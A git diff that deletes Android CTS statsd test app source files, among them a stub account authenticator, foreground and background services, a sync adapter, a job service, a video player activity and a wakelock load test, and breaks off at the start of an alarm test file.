--- a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/StatsdAuthenticator.java
+++ /dev/null
@@ -1,135 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.server.cts.device.statsd;
-
-import android.accounts.AbstractAccountAuthenticator;
-import android.accounts.Account;
-import android.accounts.AccountAuthenticatorResponse;
-import android.accounts.AccountManager;
-import android.accounts.NetworkErrorException;
-import android.app.Service;
-import android.content.Context;
-import android.content.Intent;
-import android.os.Bundle;
-import android.os.IBinder;
-import android.util.Log;
-
-import java.util.Arrays;
-
-/**
- * Authenticator for the sync test.
- */
-public class StatsdAuthenticator extends Service {
- private static final String TAG = "AtomTestsAuthenticator";
-
- private static final String ACCOUNT_NAME = "StatsdCts";
- private static final String ACCOUNT_TYPE = "com.android.cts.statsd";
- private static Authenticator sInstance;
-
- @Override
- public IBinder onBind(Intent intent) {
- if (sInstance == null) {
- sInstance = new Authenticator(getApplicationContext());
-
- }
- return sInstance.getIBinder();
- }
-
- public static Account getTestAccount() {
- return new Account(ACCOUNT_NAME, ACCOUNT_TYPE);
- }
-
- /**
- * Adds the test account, if it doesn't exist yet.
- */
- public static void ensureTestAccount(Context context) {
- final Account account = getTestAccount();
-
- Bundle result = new Bundle();
- result.putString(AccountManager.KEY_ACCOUNT_TYPE, account.type);
- result.putString(AccountManager.KEY_ACCOUNT_NAME, account.name);
-
- final AccountManager am = context.getSystemService(AccountManager.class);
-
- if (!Arrays.asList(am.getAccountsByType(account.type)).contains(account) ){
- am.addAccountExplicitly(account, "password", new Bundle());
- }
- }
-
- /**
- * Remove the test account.
- */
- public static void removeAllAccounts(Context context) {
- final AccountManager am = context.getSystemService(AccountManager.class);
-
- for (Account account : am.getAccountsByType(ACCOUNT_TYPE)) {
- Log.i(TAG, "Removing " + account + "...");
- am.removeAccountExplicitly(account);
- Log.i(TAG, "Removed");
- }
- }
-
- public static class Authenticator extends AbstractAccountAuthenticator {
-
- private final Context mContxet;
-
- public Authenticator(Context context) {
- super(context);
- mContxet = context;
- }
-
- @Override
- public Bundle addAccount(AccountAuthenticatorResponse response, String accountType,
- String authTokenType, String[] requiredFeatures, Bundle options)
- throws NetworkErrorException {
- return new Bundle();
- }
-
- @Override
- public Bundle editProperties(AccountAuthenticatorResponse response, String accountType) {
- return new Bundle();
- }
-
- @Override
- public Bundle updateCredentials(AccountAuthenticatorResponse response, Account account,
- String authTokenType, Bundle options) throws NetworkErrorException {
- return new Bundle();
- }
-
- @Override
- public Bundle confirmCredentials(AccountAuthenticatorResponse response, Account account,
- Bundle options) throws NetworkErrorException {
- return new Bundle();
- }
-
- @Override
- public Bundle getAuthToken(AccountAuthenticatorResponse response, Account account,
- String authTokenType, Bundle options) throws NetworkErrorException {
- return new Bundle();
- }
-
- @Override
- public String getAuthTokenLabel(String authTokenType) {
- return "token_label";
- }
-
- @Override
- public Bundle hasFeatures(AccountAuthenticatorResponse response, Account account,
- String[] features) throws NetworkErrorException {
- return new Bundle();
- }
- }
-}
diff --git a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/StatsdCtsBackgroundService.java b/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/StatsdCtsBackgroundService.java
deleted file mode 100644
index ad018f9..0000000
--- a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/StatsdCtsBackgroundService.java
+++ /dev/null
@@ -1,67 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.server.cts.device.statsd;
-
-import com.android.server.cts.device.statsd.AtomTests;
-
-import android.app.IntentService;
-import android.content.Intent;
-import android.util.Log;
-
-/** An service (to be run as a background process) which performs one of a number of actions. */
-public class StatsdCtsBackgroundService extends IntentService {
- private static final String TAG = StatsdCtsBackgroundService.class.getSimpleName();
-
- public static final String KEY_ACTION = "action";
- public static final String ACTION_BACKGROUND_SLEEP = "action.background_sleep";
- public static final String ACTION_END_IMMEDIATELY = "action.end_immediately";
- public static final String ACTION_LMK = "action.lmk";
-
- public static final int SLEEP_OF_ACTION_BACKGROUND_SLEEP = 2_000;
-
- static {
- System.loadLibrary("lmkhelper");
- }
-
- public StatsdCtsBackgroundService() {
- super(StatsdCtsBackgroundService.class.getName());
- }
-
- @Override
- public void onHandleIntent(Intent intent) {
- String action = intent.getStringExtra(KEY_ACTION);
- Log.i(TAG, "Starting " + action + " from background service.");
-
- switch (action) {
- case ACTION_BACKGROUND_SLEEP:
- AtomTests.sleep(SLEEP_OF_ACTION_BACKGROUND_SLEEP);
- break;
- case ACTION_END_IMMEDIATELY:
- break;
- case ACTION_LMK:
- new Thread(this::cmain).start();
- break;
- default:
- Log.e(TAG, "Intent had invalid action");
- }
- }
-
- /**
- * Keep allocating memory until the process is killed by LMKD.
- **/
- public native void cmain();
-}
diff --git a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/StatsdCtsForegroundActivity.java b/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/StatsdCtsForegroundActivity.java
deleted file mode 100644
index 1f14c3a..0000000
--- a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/StatsdCtsForegroundActivity.java
+++ /dev/null
@@ -1,192 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.server.cts.device.statsd;
-
-import android.app.Activity;
-import android.app.Notification;
-import android.app.NotificationChannel;
-import android.app.NotificationChannelGroup;
-import android.app.NotificationManager;
-import android.app.usage.NetworkStatsManager;
-import android.content.Context;
-import android.content.Intent;
-import android.graphics.Color;
-import android.graphics.Point;
-import android.net.ConnectivityManager;
-import android.os.AsyncTask;
-import android.os.Bundle;
-import android.os.RemoteException;
-import android.util.Log;
-import android.view.Gravity;
-import android.view.View;
-import android.view.ViewGroup;
-import android.view.WindowManager;
-
-/** An activity (to be run as a foreground process) which performs one of a number of actions. */
-public class StatsdCtsForegroundActivity extends Activity {
- private static final String TAG = StatsdCtsForegroundActivity.class.getSimpleName();
-
- public static final String KEY_ACTION = "action";
- public static final String ACTION_END_IMMEDIATELY = "action.end_immediately";
- public static final String ACTION_SLEEP_WHILE_TOP = "action.sleep_top";
- public static final String ACTION_LONG_SLEEP_WHILE_TOP = "action.long_sleep_top";
- public static final String ACTION_SHOW_APPLICATION_OVERLAY = "action.show_application_overlay";
- public static final String ACTION_SHOW_NOTIFICATION = "action.show_notification";
- public static final String ACTION_CREATE_CHANNEL_GROUP = "action.create_channel_group";
- public static final String ACTION_POLL_NETWORK_STATS = "action.poll_network_stats";
-
- public static final int SLEEP_OF_ACTION_SLEEP_WHILE_TOP = 2_000;
- public static final int SLEEP_OF_ACTION_SHOW_APPLICATION_OVERLAY = 2_000;
- public static final int LONG_SLEEP_WHILE_TOP = 60_000;
-
- @Override
- public void onCreate(Bundle bundle) {
- super.onCreate(bundle);
-
- Intent intent = this.getIntent();
- if (intent == null) {
- Log.e(TAG, "Intent was null.");
- finish();
- }
-
- String action = intent.getStringExtra(KEY_ACTION);
- Log.i(TAG, "Starting " + action + " from foreground activity.");
-
- switch (action) {
- case ACTION_END_IMMEDIATELY:
- finish();
- break;
- case ACTION_SLEEP_WHILE_TOP:
- doSleepWhileTop(SLEEP_OF_ACTION_SLEEP_WHILE_TOP);
- break;
- case ACTION_LONG_SLEEP_WHILE_TOP:
- doSleepWhileTop(LONG_SLEEP_WHILE_TOP);
- break;
- case ACTION_SHOW_APPLICATION_OVERLAY:
- doShowApplicationOverlay();
- break;
- case ACTION_SHOW_NOTIFICATION:
- doShowNotification();
- break;
- case ACTION_CREATE_CHANNEL_GROUP:
- doCreateChannelGroup();
- break;
- case ACTION_POLL_NETWORK_STATS:
- doPollNetworkStats();
- break;
- default:
- Log.e(TAG, "Intent had invalid action " + action);
- finish();
- }
- }
-
- /** Does nothing, but asynchronously. */
- private void doSleepWhileTop(int sleepTime) {
- new AsyncTask<Void, Void, Void>() {
- @Override
- protected Void doInBackground(Void... params) {
- AtomTests.sleep(sleepTime);
- return null;
- }
-
- @Override
- protected void onPostExecute(Void nothing) {
- finish();
- }
- }.execute();
- }
-
- private void doShowApplicationOverlay() {
- // Adapted from BatteryStatsBgVsFgActions.java.
- final WindowManager wm = getSystemService(WindowManager.class);
- Point size = new Point();
- wm.getDefaultDisplay().getSize(size);
-
- WindowManager.LayoutParams wmlp = new WindowManager.LayoutParams(
- WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY,
- WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE
- | WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON
- | WindowManager.LayoutParams.FLAG_NOT_TOUCHABLE);
- wmlp.width = size.x / 4;
- wmlp.height = size.y / 4;
- wmlp.gravity = Gravity.CENTER | Gravity.LEFT;
- wmlp.setTitle(getPackageName());
-
- ViewGroup.LayoutParams vglp = new ViewGroup.LayoutParams(
- ViewGroup.LayoutParams.MATCH_PARENT,
- ViewGroup.LayoutParams.MATCH_PARENT);
-
- View v = new View(this);
- v.setBackgroundColor(Color.GREEN);
- v.setLayoutParams(vglp);
- wm.addView(v, wmlp);
-
- // The overlay continues long after the finish. The following is just to end the activity.
- AtomTests.sleep(SLEEP_OF_ACTION_SHOW_APPLICATION_OVERLAY);
- finish();
- }
-
- private void doShowNotification() {
- final int notificationId = R.layout.activity_main;
- final String notificationChannelId = "StatsdCtsChannel";
-
- NotificationManager nm = getSystemService(NotificationManager.class);
- NotificationChannel channel = new NotificationChannel(notificationChannelId, "Statsd Cts",
- NotificationManager.IMPORTANCE_DEFAULT);
- channel.setDescription("Statsd Cts Channel");
- nm.createNotificationChannel(channel);
-
- nm.notify(
- notificationId,
- new Notification.Builder(this, notificationChannelId)
- .setSmallIcon(android.R.drawable.stat_notify_chat)
- .setContentTitle("StatsdCts")
- .setContentText("StatsdCts")
- .build());
- nm.cancel(notificationId);
- finish();
- }
-
- private void doCreateChannelGroup() {
- NotificationManager nm = getSystemService(NotificationManager.class);
- NotificationChannelGroup channelGroup = new NotificationChannelGroup("StatsdCtsGroup",
- "Statsd Cts Group");
- channelGroup.setDescription("StatsdCtsGroup Description");
- nm.createNotificationChannelGroup(channelGroup);
- finish();
- }
-
- // Trigger force poll on NetworkStatsService to make sure the service get most updated network
- // stats from lower layer on subsequent verifications.
- private void doPollNetworkStats() {
- final NetworkStatsManager nsm =
- (NetworkStatsManager) getSystemService(Context.NETWORK_STATS_SERVICE);
-
- // While the flag of force polling is the only important thing needed when making binder
- // call to service, the type, parameters and returned result of the query here do not
- // matter.
- try {
- nsm.setPollForce(true);
- nsm.querySummaryForUser(ConnectivityManager.TYPE_WIFI, null, Long.MIN_VALUE,
- Long.MAX_VALUE);
- } catch (RemoteException e) {
- Log.e(TAG, "doPollNetworkStats failed with " + e);
- } finally {
- finish();
- }
- }
-}
diff --git a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/StatsdCtsForegroundService.java b/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/StatsdCtsForegroundService.java
deleted file mode 100644
index ab46f5f..0000000
--- a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/StatsdCtsForegroundService.java
+++ /dev/null
@@ -1,125 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.server.cts.device.statsd;
-
-import android.app.Notification;
-import android.app.NotificationChannel;
-import android.app.NotificationManager;
-import android.app.Service;
-import android.content.Context;
-import android.content.Intent;
-import android.os.Build;
-import android.os.Handler;
-import android.os.HandlerThread;
-import android.os.IBinder;
-import android.os.Looper;
-import android.os.Message;
-import android.os.Process;
-import android.util.Log;
-
-import com.android.compatibility.common.util.ApiLevelUtil;
-
-public class StatsdCtsForegroundService extends Service {
- private static final String TAG = "SimpleForegroundService";
- private static final String NOTIFICATION_CHANNEL_ID = "Foreground Service";
-
- // TODO: pass this in from host side.
- public static final int SLEEP_OF_FOREGROUND_SERVICE = 2_000;
-
- private Looper mServiceLooper;
- private ServiceHandler mServiceHandler;
- private boolean mChannelCreated;
-
- private final class ServiceHandler extends Handler {
- public ServiceHandler(Looper looper) {
- super(looper);
- }
-
- @Override
- public void handleMessage(Message msg) {
- Log.i(TAG, "Handling message.");
- // Sleep.
- try {
- Thread.sleep(SLEEP_OF_FOREGROUND_SERVICE);
- } catch (InterruptedException e) {
- // Restore interrupt status.
- Thread.currentThread().interrupt();
- }
- Log.i(TAG, "Stopping service.");
- // Stop the service using the startId, so that we don't stop
- // the service in the middle of handling another job
- stopSelf(msg.arg1);
- }
- }
-
- @Override
- public void onCreate() {
- // Start up the thread running the service. Note that we create a
- // separate thread because the service normally runs in the process's
- // main thread, which we don't want to block. We also make it
- // background priority so CPU-intensive work will not disrupt our UI.
- HandlerThread thread = new HandlerThread("ServiceStartArguments",
- Process.THREAD_PRIORITY_BACKGROUND);
- thread.start();
-
- // Get the HandlerThread's Looper and use it for our Handler
- mServiceLooper = thread.getLooper();
- mServiceHandler = new ServiceHandler(mServiceLooper);
-
- if (ApiLevelUtil.isBefore(Build.VERSION_CODES.O_MR1)) {
- return;
- }
- // OMR1 requires notification channel to be set
- NotificationManager notificationManager =
- (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE);
- NotificationChannel channel = new NotificationChannel(NOTIFICATION_CHANNEL_ID,
- NOTIFICATION_CHANNEL_ID,
- NotificationManager.IMPORTANCE_HIGH);
- notificationManager.createNotificationChannel(channel);
- mChannelCreated = true;
- }
-
- @Override
- public int onStartCommand(Intent intent, int flags, int startId) {
- Notification notification = new Notification.Builder(this, NOTIFICATION_CHANNEL_ID)
- .setContentTitle("CTS Foreground")
- .setSmallIcon(android.R.drawable.ic_secure)
- .build();
- Log.i(TAG, "Starting Foreground.");
- startForeground(1, notification);
-
- Message msg = mServiceHandler.obtainMessage();
- msg.arg1 = startId;
- mServiceHandler.sendMessage(msg);
-
- return START_NOT_STICKY;
- }
-
- @Override
- public IBinder onBind(Intent intent) {
- return null;
- }
-
- @Override
- public void onDestroy () {
- if (mChannelCreated) {
- NotificationManager notificationManager =
- (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE);
- notificationManager.deleteNotificationChannel(NOTIFICATION_CHANNEL_ID);
- }
- }
-}
diff --git a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/StatsdJobService.java b/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/StatsdJobService.java
deleted file mode 100644
index d81040f..0000000
--- a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/StatsdJobService.java
+++ /dev/null
@@ -1,87 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.server.cts.device.statsd;
-
-import android.annotation.TargetApi;
-import android.app.job.JobInfo;
-import android.app.job.JobParameters;
-import android.app.job.JobScheduler;
-import android.app.job.JobService;
-import android.content.Context;
-import android.os.Handler;
-import android.util.Log;
-
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.TimeUnit;
-
-import javax.annotation.concurrent.GuardedBy;
-
-/**
- * Handles callback from the framework {@link android.app.job.JobScheduler}.
- * Runs a job for 0.5 seconds. Provides a countdown latch to wait on, by the test that schedules it.
- */
-@TargetApi(21)
-public class StatsdJobService extends JobService {
- private static final String TAG = "AtomTestsJobService";
-
- JobInfo mRunningJobInfo;
- JobParameters mRunningParams;
-
- private static final Object sLock = new Object();
-
- @GuardedBy("sLock")
- private static CountDownLatch sLatch;
-
- final Handler mHandler = new Handler();
- final Runnable mWorker = new Runnable() {
- @Override public void run() {
- try {
- Thread.sleep(500);
- } catch (InterruptedException e) {
- }
-
- jobFinished(mRunningParams, false);
-
- synchronized (sLock) {
- if (sLatch != null) {
- sLatch.countDown();
- }
- }
- }
- };
-
- public static synchronized CountDownLatch resetCountDownLatch() {
- synchronized (sLock) {
- if (sLatch == null || sLatch.getCount() == 0) {
- sLatch = new CountDownLatch(1);
- }
- }
- return sLatch;
- }
-
- @Override
- public boolean onStartJob(JobParameters params) {
- mRunningParams = params;
- mHandler.post(mWorker);
- return true;
- }
-
- @Override
- public boolean onStopJob(JobParameters params) {
- return false;
- }
-}
diff --git a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/StatsdProvider.java b/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/StatsdProvider.java
deleted file mode 100644
index bd652b2..0000000
--- a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/StatsdProvider.java
+++ /dev/null
@@ -1,59 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.server.cts.device.statsd;
-
-import android.content.ContentProvider;
-import android.content.ContentValues;
-import android.database.Cursor;
-import android.net.Uri;
-
-/**
- * Provider for the sync test.
- */
-public class StatsdProvider extends ContentProvider {
- public static final String AUTHORITY = "com.android.server.cts.device.statsd.provider";
-
- @Override
- public boolean onCreate() {
- return false;
- }
-
- @Override
- public Cursor query(Uri uri, String[] projection, String selection, String[] selectionArgs,
- String sortOrder) {
- return null;
- }
-
- @Override
- public String getType(Uri uri) {
- return null;
- }
-
- @Override
- public Uri insert(Uri uri, ContentValues values) {
- return null;
- }
-
- @Override
- public int delete(Uri uri, String selection, String[] selectionArgs) {
- return 0;
- }
-
- @Override
- public int update(Uri uri, ContentValues values, String selection, String[] selectionArgs) {
- return 0;
- }
-}
\ No newline at end of file
diff --git a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/StatsdSyncAdapter.java b/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/StatsdSyncAdapter.java
deleted file mode 100644
index 6968307..0000000
--- a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/StatsdSyncAdapter.java
+++ /dev/null
@@ -1,89 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.server.cts.device.statsd;
-
-import android.accounts.Account;
-import android.content.AbstractThreadedSyncAdapter;
-import android.content.ContentProviderClient;
-import android.content.ContentResolver;
-import android.content.Context;
-import android.content.SyncResult;
-import android.os.Bundle;
-import android.os.SystemClock;
-import android.util.Log;
-
-import org.junit.Assert;
-
-import java.util.concurrent.CountDownLatch;
-
-import javax.annotation.concurrent.GuardedBy;
-
-/**
- * Sync adapter for the sync test.
- */
-public class StatsdSyncAdapter extends AbstractThreadedSyncAdapter {
- private static final String TAG = "AtomTestsSyncAdapter";
-
- private static final int TIMEOUT_SECONDS = 60 * 2;
-
- private static CountDownLatch sLatch;
-
- private static final Object sLock = new Object();
-
-
- public StatsdSyncAdapter(Context context) {
- // No need for auto-initialization because we set isSyncable in the test anyway.
- super(context, /* autoInitialize= */ false);
- }
-
- @Override
- public void onPerformSync(Account account, Bundle extras, String authority,
- ContentProviderClient provider, SyncResult syncResult) {
- try {
- Thread.sleep(500);
- } catch (InterruptedException e) {
- }
- synchronized (sLock) {
- Log.i(TAG, "onPerformSync");
- if (sLatch != null) {
- sLatch.countDown();
- } else {
- Log.w(TAG, "sLatch is null, resetCountDownLatch probably should have been called");
- }
- }
- }
-
- /**
- * Request a sync on the given account, and wait for it.
- */
- public static void requestSync(Account account) throws Exception {
- final Bundle extras = new Bundle();
- extras.putBoolean(ContentResolver.SYNC_EXTRAS_EXPEDITED, true);
- extras.putBoolean(ContentResolver.SYNC_EXTRAS_IGNORE_BACKOFF, true);
- extras.putBoolean(ContentResolver.SYNC_EXTRAS_IGNORE_SETTINGS, true);
-
- ContentResolver.requestSync(account, StatsdProvider.AUTHORITY, extras);
- }
-
- public static CountDownLatch resetCountDownLatch() {
- synchronized (sLock) {
- if (sLatch == null || sLatch.getCount() == 0) {
- sLatch = new CountDownLatch(1);
- }
- }
- return sLatch;
- }
-}
diff --git a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/StatsdSyncService.java b/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/StatsdSyncService.java
deleted file mode 100644
index ab06c6f..0000000
--- a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/StatsdSyncService.java
+++ /dev/null
@@ -1,36 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.server.cts.device.statsd;
-
-import android.app.Service;
-import android.content.Intent;
-import android.os.IBinder;
-
-/**
- * Service for the sync test.
- */
-public class StatsdSyncService extends Service {
-
- private static StatsdSyncAdapter sAdapter;
-
- @Override
- public synchronized IBinder onBind(Intent intent) {
- if (sAdapter == null) {
- sAdapter = new StatsdSyncAdapter(getApplicationContext());
- }
- return sAdapter.getSyncAdapterBinder();
- }
-}
\ No newline at end of file
diff --git a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/VideoPlayerActivity.java b/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/VideoPlayerActivity.java
deleted file mode 100644
index ea1fcec..0000000
--- a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/VideoPlayerActivity.java
+++ /dev/null
@@ -1,88 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.server.cts.device.statsd;
-
-import android.app.Activity;
-import android.content.Intent;
-import android.os.AsyncTask;
-import android.os.Bundle;
-import android.os.SystemClock;
-import android.util.Log;
-import android.widget.VideoView;
-
-public class VideoPlayerActivity extends Activity {
- private static final String TAG = VideoPlayerActivity.class.getSimpleName();
-
- public static final String KEY_ACTION = "action";
- public static final String ACTION_PLAY_VIDEO = "action.play_video";
- public static final String ACTION_PLAY_VIDEO_PICTURE_IN_PICTURE_MODE =
- "action.play_video_picture_in_picture_mode";
-
- public static final int DELAY_MILLIS = 2000;
-
- @Override
- public void onCreate(Bundle savedInstanceState) {
- super.onCreate(savedInstanceState);
-
- Intent intent = this.getIntent();
- if (intent == null) {
- Log.e(TAG, "Intent was null.");
- finish();
- }
-
- String action = intent.getStringExtra(KEY_ACTION);
- Log.i(TAG, "Starting " + action + " from foreground activity.");
-
- switch (action) {
- case ACTION_PLAY_VIDEO:
- playVideo();
- break;
- case ACTION_PLAY_VIDEO_PICTURE_IN_PICTURE_MODE:
- playVideo();
- this.enterPictureInPictureMode();
- break;
- default:
- Log.e(TAG, "Intent had invalid action " + action);
- finish();
- }
- delay();
- }
-
- private void playVideo() {
- setContentView(R.layout.activity_main);
- VideoView videoView = (VideoView)findViewById(R.id.video_player_view);
- videoView.setVideoPath("android.resource://" + getPackageName() + "/" + R.raw.colors_video);
- videoView.start();
- }
-
- private void delay() {
- new AsyncTask<Void, Void, Void>() {
- @Override
- protected Void doInBackground(Void... params) {
- SystemClock.sleep(DELAY_MILLIS);
- return null;
- }
- @Override
- protected void onPostExecute(Void nothing) {
- finish();
- }
- }.execute();
- }
-}
-
-
-
diff --git a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/WakelockLoadTestRunnable.java b/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/WakelockLoadTestRunnable.java
deleted file mode 100644
index 1a3d32a..0000000
--- a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/WakelockLoadTestRunnable.java
+++ /dev/null
@@ -1,50 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.server.cts.device.statsd;
-
-import android.content.Context;
-import android.os.PowerManager;
-
-import androidx.test.InstrumentationRegistry;
-
-import java.util.concurrent.CountDownLatch;
-
-public class WakelockLoadTestRunnable implements Runnable {
- String tag;
- CountDownLatch latch;
- WakelockLoadTestRunnable(String t, CountDownLatch l) {
- tag = t;
- latch = l;
- }
- @Override
- public void run() {
- Context context = InstrumentationRegistry.getContext();
- PowerManager pm = context.getSystemService(PowerManager.class);
- PowerManager.WakeLock wl = pm.newWakeLock(PowerManager.PARTIAL_WAKE_LOCK, tag);
- long sleepTimeNs = 700_000;
-
- for (int i = 0; i < 1000; i++) {
- wl.acquire();
- long startTime = System.nanoTime();
- while (System.nanoTime() - startTime < sleepTimeNs) {}
- wl.release();
- startTime = System.nanoTime();
- while (System.nanoTime() - startTime < sleepTimeNs) {}
- }
- latch.countDown();
- }
-
-}
diff --git a/hostsidetests/statsd/src/android/cts/statsd/alarm/AlarmTests.java b/hostsidetests/statsd/src/android/cts/statsd/alarm/AlarmTests.java
deleted file mode 100644
index 032297e..0000000
--- a/hostsidetests/statsd/src/android/cts/statsd/alarm/AlarmTests.java
+++ /dev/null
@@ -1,77 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.cts.statsd.alarm;
-
-import static com.google.common.truth.Truth.assertThat;
-
-import android.cts.statsd.atom.AtomTestCase;
-
-import com.android.internal.os.StatsdConfigProto;
-import com.android.internal.os.StatsdConfigProto.Alarm;
-import com.android.internal.os.StatsdConfigProto.IncidentdDetails;
-import com.android.internal.os.StatsdConfigProto.StatsdConfig;
-import com.android.internal.os.StatsdConfigProto.Subscription;
-import com.android.tradefed.log.LogUtil.CLog;
-
-import java.util.List;
-
-/**
- * Statsd Anomaly Detection tests.
- */
